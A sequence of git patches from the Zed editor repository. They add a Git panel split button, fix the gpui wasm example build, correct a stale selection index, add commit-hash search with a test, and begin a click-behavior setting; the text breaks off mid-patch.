- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

The Git panel changes header now uses a split button similar to the
Fetch/Pull control. The primary action updates between Stage All and
Unstage All, while the dropdown groups related Git actions.

when nothing is staged
<img width="359" height="245" alt="Screenshot 2026-06-19 at 11 01 44 PM"
src="https://github.com/user-attachments/assets/7fb7601f-8396-49c7-9d90-9f2e1706230a"
/>

when everything is staged already
<img width="360" height="219" alt="Screenshot 2026-06-19 at 11 01 52 PM"
src="https://github.com/user-attachments/assets/38ebebd9-09c2-4d24-aac3-6c4e22786ba5"
/>

rest of the menu options
<img width="385" height="294" alt="Screenshot 2026-06-19 at 11 01 59 PM"
src="https://github.com/user-attachments/assets/47393a17-78af-411c-9cb1-90781cf3a645"
/>


---


Release Notes:

- Improved Git panel change actions with a split-button menu.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/git_ui/src/git_panel.rs | 206 ++++++++++++++++-----------------
 1 file changed, 98 insertions(+), 108 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 4382af63dbcb92..cbe40e24b6f623 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -3,7 +3,7 @@ use crate::commit_modal::CommitModal;
 use crate::commit_tooltip::{CommitAvatar, CommitTooltip};
 use crate::commit_view::CommitView;
 use crate::git_panel_settings::GitPanelScrollbarAccessor;
-use crate::project_diff::{self, BranchDiff, Diff, ProjectDiff};
+use crate::project_diff::{BranchDiff, Diff, ProjectDiff};
 use crate::remote_output::{self, RemoteAction, SuccessMessage};
 use crate::solo_diff_view::SoloDiffView;
 use crate::{branch_picker, picker_prompt, render_remote_button};
@@ -163,53 +163,42 @@ enum TrashCancel {
 }
 
 struct GitMenuState {
-    has_tracked_changes: bool,
-    has_staged_changes: bool,
-    has_unstaged_changes: bool,
-    has_new_changes: bool,
     sort_by: GitPanelSortBy,
     group_by: GitPanelGroupBy,
-    has_stash_items: bool,
     tree_view: bool,
 }
 
 fn git_panel_context_menu(
+    has_tracked_changes: bool,
+    has_staged_changes: bool,
+    has_unstaged_changes: bool,
+    has_new_changes: bool,
+    has_stash_items: bool,
     focus_handle: FocusHandle,
-    state: GitMenuState,
     window: &mut Window,
     cx: &mut App,
 ) -> Entity<ContextMenu> {
-    ContextMenu::build(window, cx, move |context_menu, _, _| {
+    ContextMenu::build(window, cx, |context_menu, _, _| {
         context_menu
-            .context(focus_handle)
-            .action_disabled_when(
-                !state.has_unstaged_changes,
-                "Stage All",
-                StageAll.boxed_clone(),
-            )
-            .action_disabled_when(
-                !state.has_staged_changes,
-                "Unstage All",
-                UnstageAll.boxed_clone(),
-            )
+            .context(focus_handle.clone())
+            .action_disabled_when(!has_unstaged_changes, "Stage All", StageAll.boxed_clone())
+            .action_disabled_when(!has_staged_changes, "Unstage All", UnstageAll.boxed_clone())
             .separator()
             .action_disabled_when(
-                !(state.has_new_changes || state.has_tracked_changes),
+                !(has_new_changes || has_tracked_changes),
                 "Stash All",
                 StashAll.boxed_clone(),
             )
-            .action_disabled_when(!state.has_stash_items, "Stash Pop", StashPop.boxed_clone())
+            .action_disabled_when(!has_stash_items, "Stash Pop", StashPop.boxed_clone())
             .action("View Stash", zed_actions::git::ViewStash.boxed_clone())
             .separator()
-            .action("Open Diff", project_diff::Diff.boxed_clone())
-            .separator()
             .action_disabled_when(
-                !state.has_tracked_changes,
+                !has_tracked_changes,
                 "Discard Tracked Changes",
                 RestoreTrackedFiles.boxed_clone(),
             )
             .action_disabled_when(
-                !state.has_new_changes,
+                !has_new_changes,
                 "Trash Untracked Files",
                 TrashUntrackedFiles.boxed_clone(),
             )
@@ -4410,46 +4399,8 @@ impl GitPanel {
         path + file_name + depth * 2
     }
 
-    fn render_ellipsis_menu(&self, id: impl Into<ElementId>) -> impl IntoElement {
-        let focus_handle = self.focus_handle.clone();
-        let has_tracked_changes = self.has_tracked_changes();
-        let has_staged_changes = self.has_staged_changes();
-        let has_unstaged_changes = self.has_unstaged_changes();
-        let has_new_changes = self.new_count > 0;
-        let has_stash_items = self.stash_entries.entries.len() > 0;
-
-        PopoverMenu::new(id.into())
-            .trigger(
-                IconButton::new("overflow-menu-trigger", IconName::Ellipsis)
-                    .icon_size(IconSize::Small),
-            )
-            .menu(move |window, cx| {
-                Some(git_panel_context_menu(
-                    focus_handle.clone(),
-                    GitMenuState {
-                        has_tracked_changes,
-                        has_staged_changes,
-                        has_unstaged_changes,
-                        has_new_changes,
-                        sort_by: GitPanelSettings::get_global(cx).sort_by,
-                        group_by: GitPanelSettings::get_global(cx).group_by,
-                        has_stash_items,
-                        tree_view: GitPanelSettings::get_global(cx).tree_view,
-                    },
-                    window,
-                    cx,
-                ))
-            })
-            .anchor(Anchor::TopRight)
-    }
-
     fn render_view_options_menu(&self, id: impl Into<ElementId>) -> impl IntoElement {
         let focus_handle = self.focus_handle.clone();
-        let has_tracked_changes = self.has_tracked_changes();
-        let has_staged_changes = self.has_staged_changes();
-        let has_unstaged_changes = self.has_unstaged_changes();
-        let has_new_changes = self.new_count > 0;
-        let has_stash_items = self.stash_entries.entries.len() > 0;
 
         PopoverMenu::new(id.into())
             .trigger(
@@ -4461,13 +4412,8 @@ impl GitPanel {
                 Some(git_panel_view_options_menu(
                     focus_handle.clone(),
                     GitMenuState {
-                        has_tracked_changes,
-                        has_staged_changes,
-                        has_unstaged_changes,
-                        has_new_changes,
                         sort_by: GitPanelSettings::get_global(cx).sort_by,
                         group_by: GitPanelSettings::get_global(cx).group_by,
-                        has_stash_items,
                         tree_view: GitPanelSettings::get_global(cx).tree_view,
                     },
                     window,
@@ -4727,6 +4673,78 @@ impl GitPanel {
         })
     }
 
+    fn render_git_changes_actions_menu(
+        &self,
+        id: impl Into<ElementId>,
+        _cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let has_tracked_changes = self.has_tracked_changes();
+        let has_staged_changes = self.has_staged_changes();
+        let has_unstaged_changes = self.has_unstaged_changes();
+        let has_new_changes = self.new_count > 0;
+        let has_stash_items = self.stash_entries.entries.len() > 0;
+        let focus_handle = self.focus_handle.clone();
+
+        PopoverMenu::new(id.into())
+            .trigger(
+                ui::ButtonLike::new_rounded_right("git-changes-actions-split-button-right")
+                    .layer(ui::ElevationIndex::ModalSurface)
+                    .size(ButtonSize::None)
+                    .child(
+                        div()
+                            .px_1()
+                            .child(Icon::new(IconName::ChevronDown).size(IconSize::XSmall)),
+                    ),
+            )
+            .menu(move |window, cx| {
+                Some(git_panel_context_menu(
+                    has_tracked_changes,
+                    has_staged_changes,
+                    has_unstaged_changes,
+                    has_new_changes,
+                    has_stash_items,
+                    focus_handle.clone(),
+                    window,
+                    cx,
+                ))
+            })
+            .anchor(Anchor::TopRight)
+    }
+
+    fn render_git_changes_actions_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        let (text, action, stage, tooltip) =
+            if self.total_staged_count() == self.entry_count && self.entry_count > 0 {
+                ("Unstage All", UnstageAll.boxed_clone(), false, "git reset")
+            } else {
+                ("Stage All", StageAll.boxed_clone(), true, "git add --all")
+            };
+
+        SplitButton::new(
+            ButtonLike::new_rounded_left("git-changes-actions-split-button-left")
+                .layer(ElevationIndex::ModalSurface)
+                .size(ButtonSize::Compact)
+                .child(Label::new(text).size(LabelSize::Small).mr_0p5())
+                .tooltip(Tooltip::for_action_title_in(
+                    tooltip,
+                    action.as_ref(),
+                    &self.focus_handle,
+                ))
+                .disabled(self.entry_count == 0)
+                .on_click({
+                    let git_panel = cx.weak_entity();
+                    move |_, _, cx| {
+                        git_panel
+                            .update(cx, |git_panel, cx| {
+                                git_panel.change_all_files_stage(stage, cx);
+                            })
+                            .ok();
+                    }
+                }),
+            self.render_git_changes_actions_menu("git-changes-actions-split-button-menu", cx)
+                .into_any_element(),
+        )
+    }
+
     fn render_changes_header(
         &self,
         _window: &mut Window,
@@ -4738,13 +4756,6 @@ impl GitPanel {
 
         self.active_repository.as_ref()?;
 
-        let (text, action, stage, tooltip) =
-            if self.total_staged_count() == self.entry_count && self.entry_count > 0 {
-                ("Unstage All", UnstageAll.boxed_clone(), false, "git reset")
-            } else {
-                ("Stage All", StageAll.boxed_clone(), true, "git add --all")
-            };
-
         let diff_stat_total = self.diff_stat_total;
 
         Some(
@@ -4796,29 +4807,7 @@ impl GitPanel {
                     h_flex()
                         .gap_1()
                         .child(self.render_view_options_menu("view_options_menu"))
-                        .child(self.render_ellipsis_menu("overflow_menu"))
-                        .child(
-                            Button::new("stage_unstage_all", text)
-                                .label_size(LabelSize::Small)
-                                .layer(ElevationIndex::ModalSurface)
-                                .style(ButtonStyle::Filled)
-                                .tooltip(Tooltip::for_action_title_in(
-                                    tooltip,
-                                    action.as_ref(),
-                                    &self.focus_handle,
-                                ))
-                                .disabled(self.entry_count == 0)
-                                .on_click({
-                                    let git_panel = cx.weak_entity();
-                                    move |_, _, cx| {
-                                        git_panel
-                                            .update(cx, |git_panel, cx| {
-                                                git_panel.change_all_files_stage(stage, cx);
-                                            })
-                                            .ok();
-                                    }
-                                }),
-                        ),
+                        .child(self.render_git_changes_actions_button(cx)),
                 ),
         )
     }
@@ -6232,18 +6221,19 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
+        let has_tracked_changes = self.has_tracked_changes();
+        let has_staged_changes = self.has_staged_changes();
+        let has_unstaged_changes = self.has_unstaged_changes();
+        let has_new_changes = self.new_count > 0;
+        let has_stash_items = self.stash_entries.entries.len() > 0;
+
         let context_menu = git_panel_context_menu(
+            has_tracked_changes,
+            has_staged_changes,
+            has_unstaged_changes,
+            has_new_changes,
+            has_stash_items,
             self.focus_handle.clone(),
-            GitMenuState {
-                has_tracked_changes: self.has_tracked_changes(),
-                has_staged_changes: self.has_staged_changes(),
-                has_unstaged_changes: self.has_unstaged_changes(),
-                has_new_changes: self.new_count > 0,
-                sort_by: GitPanelSettings::get_global(cx).sort_by,
-                group_by: GitPanelSettings::get_global(cx).group_by,
-                has_stash_items: self.stash_entries.entries.len() > 0,
-                tree_view: GitPanelSettings::get_global(cx).tree_view,
-            },
             window,
             cx,
         );

From 9a992ed33c148179204885f6bff8c744dfa1d410 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Mon, 22 Jun 2026 08:19:08 +0800
Subject: [PATCH 018/772] gpui: Fix web examples build (#59470)

# Objective

fix `cargo xtask web-examples --no-serve` error.

## Solution

Building GPUI web examples for wasm failed because gpui's ordinary
dev-dependencies were included in the wasm build graph. That pulled in
proptest's default fork/timeout support, which depends on wait-timeout.
wait-timeout does not support wasm32-unknown-unknown, so compilation
failed.

The a11y example also had a wasm_bindgen start function but was missing
the wasm no_main crate attribute, so Rust still expected a normal main
function and emitted E0601.

Move gpui's proptest dev-dependency behind the non-wasm target so web
example builds do not include native-only test timeout support. Add the
wasm no_main crate attribute to the a11y example.

Verified with:

```
cargo tree --target wasm32-unknown-unknown -p gpui -i wait-timeout
cargo xtask web-examples --no-serve
```

---

Release Notes:

- N/A or Added/Fixed/Improved ...

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
---
 crates/gpui/Cargo.toml       | 2 +-
 crates/gpui/examples/a11y.rs | 2 ++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 1e20e893bf9e3c..87cc3e3630c161 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -157,13 +157,13 @@ env_logger.workspace = true
 gpui_platform = { workspace = true, features = ["font-kit", "wayland", "x11"] }
 gpui_util = { workspace = true }
 lyon = { version = "1.0", features = ["extra"] }
-proptest = { workspace = true }
 rand.workspace = true
 scheduler = { workspace = true, features = ["test-support"] }
 unicode-segmentation = { workspace = true }
 
 [target.'cfg(not(target_family = "wasm"))'.dev-dependencies]
 http_client = { workspace = true, features = ["test-support"] }
+proptest = { workspace = true }
 reqwest_client = { workspace = true, features = ["test-support"] }
 
 [target.'cfg(target_family = "wasm")'.dev-dependencies]
diff --git a/crates/gpui/examples/a11y.rs b/crates/gpui/examples/a11y.rs
index c406f4d85cd15a..6e37354ae880e3 100644
--- a/crates/gpui/examples/a11y.rs
+++ b/crates/gpui/examples/a11y.rs
@@ -1,3 +1,5 @@
+#![cfg_attr(target_family = "wasm", no_main)]
+
 //! Accessibility (AccessKit) demo app.
 //!
 //! Run with: `cargo run -p gpui --example a11y`

From 13dd39b4e43611f430f90eaf0965a2a652791e2f Mon Sep 17 00:00:00 2001
From: Eugene <groni30001@gmail.com>
Date: Mon, 22 Jun 2026 03:23:22 +0300
Subject: [PATCH 019/772] Git status list fix (#59155)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Issue:
- Create and/or modify several files.
- Go to GitPanel.
- Stage files you want to commit.
- Select last entry. You may select not last but make sure after list of
entries shrinks, your selection would be "out of visible list" after.
- Commit.
- Entries will be committed and disappear.
- But it seems like `selected_entry` is not updated (or updated
incorrectly) and Zed still have "hidden" selected entry of the last
selected entry. So you need to `Shift-g` (in vim mode) or some other
keybinding to select last entry manually. I used `k` multiple times
before I realized I can use `Shift-g` or `g g` -,-

Release Notes:

- Fixed: stale index (`selected_entry`) of git panel after .

Notes:
- I basically copied logic of function 1 line above but instead of
`first_entry` I used `last_etnry`. So... It should be harmless.
- I didn't find where selection logic is tested. I tried to do something
using `test_amend` as template, but... I'm afraid I won't be able to
understand if I'm using testing framework correctly.
- I couldn't make tests, but I tried to "test" by hand using something
like this:
<img width="358" height="487" alt="image"
src="https://github.com/user-attachments/assets/8575bdcc-f59b-44f2-99e3-fe663e5e61f1"
/>

Flat View seems like working fine, but Tree View has some "bugs" (if we
can call it like that) inherited. For example, if I stage selected file
and commit it, selection jumps to the `asdjfl` instead of the file right
under - `outer_file`. The same behavior in the current release.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/git_ui/src/git_panel.rs | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index cbe40e24b6f623..79a42c8ae3423a 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -1383,6 +1383,14 @@ impl GitPanel {
         }
     }
 
+    fn select_last_entry_if_out_of_bounds(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        if let Some(idx) = self.selected_entry
+            && idx >= self.entries.len()
+        {
+            self.select_last(&menu::SelectLast, window, cx);
+        }
+    }
+
     fn focus_changes_list(
         &mut self,
         _: &FocusChanges,
@@ -4076,6 +4084,7 @@ impl GitPanel {
         }
 
         self.select_first_entry_if_none(window, cx);
+        self.select_last_entry_if_out_of_bounds(window, cx);
 
         let suggested_commit_message = self.suggest_commit_message(cx);
         let placeholder_text = suggested_commit_message.unwrap_or("Enter commit message".into());

From 356e396517534fb8f40abc43588680a147e66236 Mon Sep 17 00:00:00 2001
From: Trong Nguyen <62984954+nguyenphutrong@users.noreply.github.com>
Date: Mon, 22 Jun 2026 07:37:28 +0700
Subject: [PATCH 020/772] git_ui: Search commits by hash (#59132)

## Summary

- Allows Git Graph search to match abbreviated or full commit hashes
when the query looks like a SHA.
- Keeps the existing message search behavior for non-hash queries.
- Mirrors the hash search heuristic in the fake git backend and adds
GPUI coverage for hash and message search.

<img width="1912" height="1241" alt="image"
src="https://github.com/user-attachments/assets/903b438e-baa8-4447-95dc-faf321bca6a5"
/>


## Test Plan

- `cargo fmt --check --package git_ui`
- `cargo -q test -p git_ui
test_git_graph_search_matches_commit_hash_prefix -- --nocapture`
- `./script/clippy -p git_ui`

## Suggested .rules additions

- N/A

Release Notes:

- Improved Git Graph search to find commits by abbreviated or full hash.
---
 crates/fs/src/fake_git_repo.rs |  14 +++-
 crates/git/src/repository.rs   |  29 ++++++--
 crates/git_ui/src/git_graph.rs | 128 ++++++++++++++++++++++++++++++++-
 3 files changed, 162 insertions(+), 9 deletions(-)

diff --git a/crates/fs/src/fake_git_repo.rs b/crates/fs/src/fake_git_repo.rs
index 5d8fc647fe00b0..45ee57b35f5ce6 100644
--- a/crates/fs/src/fake_git_repo.rs
+++ b/crates/fs/src/fake_git_repo.rs
@@ -15,6 +15,7 @@ use git::{
         CreateWorktreeTarget, FetchOptions, FileHistoryChangedFileSets, GRAPH_CHUNK_SIZE,
         GitRepository, GitRepositoryCheckpoint, InitialGraphCommitData, LogOrder, LogSource,
         PushOptions, RefEdit, Remote, RepoPath, ResetMode, SearchCommitArgs, Worktree,
+        commit_hash_search_query,
     },
     stash::GitStash,
     status::{
@@ -1491,7 +1492,9 @@ impl GitRepository for FakeGitRepository {
         request_tx: Sender<Oid>,
     ) -> BoxFuture<'_, Result<()>> {
         async move {
-            let query = if search_args.case_sensitive {
+            let hash_query = commit_hash_search_query(search_args.query.as_str())
+                .map(|query| query.to_ascii_lowercase());
+            let message_query = if search_args.case_sensitive {
                 search_args.query.to_string()
             } else {
                 search_args.query.to_lowercase()
@@ -1505,12 +1508,19 @@ impl GitRepository for FakeGitRepository {
                         let FakeCommitDataEntry::Success(commit_data) = entry else {
                             return None;
                         };
+                        if let Some(hash_query) = hash_query.as_ref() {
+                            return sha
+                                .to_string()
+                                .to_ascii_lowercase()
+                                .starts_with(hash_query)
+                                .then_some(*sha);
+                        }
                         let message = if search_args.case_sensitive {
                             commit_data.message.to_string()
                         } else {
                             commit_data.message.to_lowercase()
                         };
-                        message.contains(&query).then_some(*sha)
+                        message.contains(&message_query).then_some(*sha)
                     })
                     .collect::<Vec<_>>()
             })?;
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index f077390375bac3..93338de75ccf4a 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -780,6 +780,14 @@ pub struct SearchCommitArgs {
     pub case_sensitive: bool,
 }
 
+pub fn commit_hash_search_query(query: &str) -> Option<&str> {
+    let query = query.trim();
+    (7..=40)
+        .contains(&query.len())
+        .then_some(query)
+        .filter(|query| query.bytes().all(|byte| byte.is_ascii_hexdigit()))
+}
+
 pub fn delete_branch_flag(is_remote_tracking_ref: bool, force: bool) -> &'static str {
     match (is_remote_tracking_ref, force) {
         (true, true) => "-Dr",
@@ -3139,15 +3147,19 @@ impl GitRepository for RealGitRepository {
 
         async move {
             let mut args = vec!["log", SEARCH_COMMIT_FORMAT];
+            let hash_query = commit_hash_search_query(search_args.query.as_str())
+                .map(|query| query.to_ascii_lowercase());
 
-            args.push("--fixed-strings");
+            if hash_query.is_none() {
+                args.push("--fixed-strings");
 
-            if !search_args.case_sensitive {
-                args.push("--regexp-ignore-case");
-            }
+                if !search_args.case_sensitive {
+                    args.push("--regexp-ignore-case");
+                }
 
-            args.push("--grep");
-            args.push(search_args.query.as_str());
+                args.push("--grep");
+                args.push(search_args.query.as_str());
+            }
 
             args.extend(log_source.get_args()?);
             let mut command = git.build_command(&args);
@@ -3169,6 +3181,11 @@ impl GitRepository for RealGitRepository {
                 }
 
                 let sha = line_buffer.trim_end_matches('\n');
+                if let Some(hash_query) = hash_query.as_ref()
+                    && !sha.to_ascii_lowercase().starts_with(hash_query)
+                {
+                    continue;
+                }
 
                 if let Ok(oid) = Oid::from_str(sha)
                     && request_tx.send(oid).await.is_err()
diff --git a/crates/git_ui/src/git_graph.rs b/crates/git_ui/src/git_graph.rs
index 36b63401c432bf..9422db54d82b01 100644
--- a/crates/git_ui/src/git_graph.rs
+++ b/crates/git_ui/src/git_graph.rs
@@ -4624,7 +4624,7 @@ mod tests {
     use collections::{HashMap, HashSet};
     use fs::FakeFs;
     use git::Oid;
-    use git::repository::InitialGraphCommitData;
+    use git::repository::{CommitData, InitialGraphCommitData};
     use gpui::{TestAppContext, UpdateGlobal};
     use project::git_store::{GitStoreEvent, RepositoryEvent};
     use project::{Project, TaskSourceKind, task_store::TaskSettingsLocation};
@@ -5973,6 +5973,132 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_git_graph_search_matches_commit_hash_prefix(cx: &mut TestAppContext) {
+        init_test(cx);
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            Path::new("/project"),
+            json!({
+                ".git": {},
+                "file.txt": "content",
+            }),
+        )
+        .await;
+
+        let first_sha = Oid::from_bytes(&[1; 20]).unwrap();
+        let target_sha = Oid::from_bytes(&[2; 20]).unwrap();
+        let third_sha = Oid::from_bytes(&[3; 20]).unwrap();
+        let commits = vec![
+            Arc::new(InitialGraphCommitData {
+                sha: first_sha,
+                parents: smallvec![target_sha],
+                ref_names: vec!["HEAD".into(), "refs/heads/main".into()],
+            }),
+            Arc::new(InitialGraphCommitData {
+                sha: target_sha,
+                parents: smallvec![third_sha],
+                ref_names: vec![],
+            }),
+            Arc::new(InitialGraphCommitData {
+                sha: third_sha,
+                parents: smallvec![],
+                ref_names: vec![],
+            }),
+        ];
+        fs.set_graph_commits(Path::new("/project/.git"), commits);
+        fs.set_commit_data(
+            Path::new("/project/.git"),
+            [
+                (
+                    CommitData {
+                        sha: first_sha,
+                        parents: smallvec![target_sha],
+                        author_name: "Author".into(),
+                        author_email: "author@example.com".into(),
+                        commit_timestamp: 1,
+                        subject: "Add feature".into(),
+                        message: "Add feature".into(),
+                    },
+                    false,
+                ),
+                (
+                    CommitData {
+                        sha: target_sha,
+                        parents: smallvec![third_sha],
+                        author_name: "Author".into(),
+                        author_email: "author@example.com".into(),
+                        commit_timestamp: 2,
+                        subject: "Fix branch loading".into(),
+                        message: "Fix branch loading".into(),
+                    },
+                    false,
+                ),
+                (
+                    CommitData {
+                        sha: third_sha,
+                        parents: smallvec![],
+                        author_name: "Author".into(),
+                        author_email: "author@example.com".into(),
+                        commit_timestamp: 3,
+                        subject: "Update docs".into(),
+                        message: "Update docs".into(),
+                    },
+                    false,
+                ),
+            ],
+        );
+
+        let project = Project::test(fs.clone(), [Path::new("/project")], cx).await;
+        cx.run_until_parked();
+
+        let repository = project.read_with(cx, |project, cx| {
+            project
+                .active_repository(cx)
+                .expect("should have a repository")
+        });
+        let (multi_workspace, cx) = cx.add_window_view(|window, cx| {
+            workspace::MultiWorkspace::test_new(project.clone(), window, cx)
+        });
+        let workspace_weak =
+            multi_workspace.read_with(&*cx, |multi, _| multi.workspace().downgrade());
+        let git_graph = cx.new_window_entity(|window, cx| {
+            GitGraph::new(
+                repository.read(cx).id,
+                project.read(cx).git_store().clone(),
+                workspace_weak,
+                None,
+                window,
+                cx,
+            )
+        });
+        cx.run_until_parked();
+
+        git_graph.update(cx, |graph, cx| {
+            graph.search_for_test("0202020".into(), cx);
+        });
+        cx.run_until_parked();
+
+        git_graph.read_with(&*cx, |graph, _| {
+            assert_eq!(graph.search_matches_for_test(), vec![target_sha]);
+            let selected_sha = graph
+                .selected_entry_idx
+                .and_then(|idx| graph.graph_data.commits.get(idx))
+                .map(|commit| commit.data.sha);
+            assert_eq!(selected_sha, Some(target_sha));
+        });
+
+        git_graph.update(cx, |graph, cx| {
+            graph.search_for_test("docs".into(), cx);
+        });
+        cx.run_until_parked();
+
+        git_graph.read_with(&*cx, |graph, _| {
+            assert_eq!(graph.search_matches_for_test(), vec![third_sha]);
+        });
+    }
+
     #[gpui::test]
     async fn test_graph_data_reloaded_after_stash_change(cx: &mut TestAppContext) {
         init_test(cx);

From 514b14ed49068de1075b65dfb7608c8454206d19 Mon Sep 17 00:00:00 2001
From: Nathan Fiscaletti <nate.fiscaletti@gmail.com>
Date: Sun, 21 Jun 2026 21:00:15 -0500
Subject: [PATCH 021/772] git_ui: Add setting to control default click behavior
 for git panel (#59649)

# Objective

The current behavior of the git panel is that when you click a file it
will open the multi-buffer view that shows all files with changes. If
you use CMD+Click or CTRL+Click, it will open the solo-file experience
where you only see the diff of the file you have selected. But, there is
no way to customize this behavior.

Related to:
https://github.com/zed-industries/zed/pull/56152#issuecomment-4641971669

## Solution

This MR adds a setting that allows you to customize the default click
behavior. The alternate behavior will always be accessible via CMD+Click
or CTRL+Click.

## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

---

Release Notes:

- Added a setting to control default click behavior for git panel files

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 assets/settings/default.json                  |  5 +++
 crates/git_ui/src/git_panel.rs                | 40 +++++++++++++++----
 crates/git_ui/src/git_panel_settings.rs       |  6 ++-
 .../settings_content/src/settings_content.rs  | 30 ++++++++++++++
 crates/settings_ui/src/page_data.rs           | 25 +++++++++++-
 crates/settings_ui/src/settings_ui.rs         |  1 +
 6 files changed, 98 insertions(+), 9 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 9b023b82c1cc79..9bb7d056bbfc75 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1014,6 +1014,11 @@
     //
     // Default: 0
     "commit_title_max_length": 0,
+    // Default action when clicking a changed file in the Git panel.
+    //
+    // Choices: project_diff, file_diff, view_file
+    // Default: project_diff
+    "entry_primary_click_action": "project_diff",
   },
   "message_editor": {
     // Whether to automatically replace emoji shortcodes with emoji characters.
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 79a42c8ae3423a..2e7b273cfa853b 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -63,7 +63,8 @@ use prompt_store::RULES_FILE_NAMES;
 use proto::RpcError;
 use serde::{Deserialize, Serialize};
 use settings::{
-    GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore, StatusStyle, update_settings_file,
+    GitPanelClickBehavior, GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore, StatusStyle,
+    update_settings_file,
 };
 use smallvec::SmallVec;
 use std::future::Future;
@@ -1489,6 +1490,36 @@ impl GitPanel {
         });
     }
 
+    fn open_selected_entry_on_click(
+        &mut self,
+        secondary: bool,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let entry_primary_click_action =
+            GitPanelSettings::get_global(cx).entry_primary_click_action;
+        let action = match (entry_primary_click_action, secondary) {
+            (GitPanelClickBehavior::ProjectDiff, false) => GitPanelClickBehavior::ProjectDiff,
+            (GitPanelClickBehavior::ProjectDiff, true) => GitPanelClickBehavior::FileDiff,
+            (GitPanelClickBehavior::FileDiff, false) => GitPanelClickBehavior::FileDiff,
+            (GitPanelClickBehavior::FileDiff, true) => GitPanelClickBehavior::ProjectDiff,
+            (GitPanelClickBehavior::ViewFile, false) => GitPanelClickBehavior::ViewFile,
+            (GitPanelClickBehavior::ViewFile, true) => GitPanelClickBehavior::ProjectDiff,
+        };
+        match action {
+            GitPanelClickBehavior::ProjectDiff => {
+                self.open_diff(&Default::default(), window, cx);
+                self.focus_handle.focus(window, cx);
+            }
+            GitPanelClickBehavior::FileDiff => {
+                self.open_solo_diff(&Default::default(), window, cx);
+            }
+            GitPanelClickBehavior::ViewFile => {
+                self.view_file(&Default::default(), window, cx);
+            }
+        }
+    }
+
     fn revert_selected(
         &mut self,
         action: &git::RestoreFile,
@@ -6493,12 +6524,7 @@ impl GitPanel {
                 cx.listener(move |this, event: &ClickEvent, window, cx| {
                     this.selected_entry = Some(ix);
                     cx.notify();
-                    if event.modifiers().secondary() {
-                        this.open_solo_diff(&Default::default(), window, cx)
-                    } else {
-                        this.open_diff(&Default::default(), window, cx);
-                        this.focus_handle.focus(window, cx);
-                    }
+                    this.open_selected_entry_on_click(event.modifiers().secondary(), window, cx);
                 })
             })
             .on_mouse_down(
diff --git a/crates/git_ui/src/git_panel_settings.rs b/crates/git_ui/src/git_panel_settings.rs
index 5d104d3fc78a11..0dbde43cfb5eb6 100644
--- a/crates/git_ui/src/git_panel_settings.rs
+++ b/crates/git_ui/src/git_panel_settings.rs
@@ -2,7 +2,9 @@ use editor::{EditorSettings, ui_scrollbar_settings_from_raw};
 use gpui::Pixels;
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
-use settings::{GitPanelGroupBy, GitPanelSortBy, RegisterSetting, Settings, StatusStyle};
+use settings::{
+    GitPanelClickBehavior, GitPanelGroupBy, GitPanelSortBy, RegisterSetting, Settings, StatusStyle,
+};
 use ui::{
     px,
     scrollbars::{ScrollbarVisibility, ShowScrollbar},
@@ -32,6 +34,7 @@ pub struct GitPanelSettings {
     pub show_count_badge: bool,
     pub starts_open: bool,
     pub commit_title_max_length: usize,
+    pub entry_primary_click_action: GitPanelClickBehavior,
 }
 
 #[derive(Default)]
@@ -80,6 +83,7 @@ impl Settings for GitPanelSettings {
             show_count_badge: git_panel.show_count_badge.unwrap(),
             starts_open: git_panel.starts_open.unwrap(),
             commit_title_max_length: git_panel.commit_title_max_length.unwrap(),
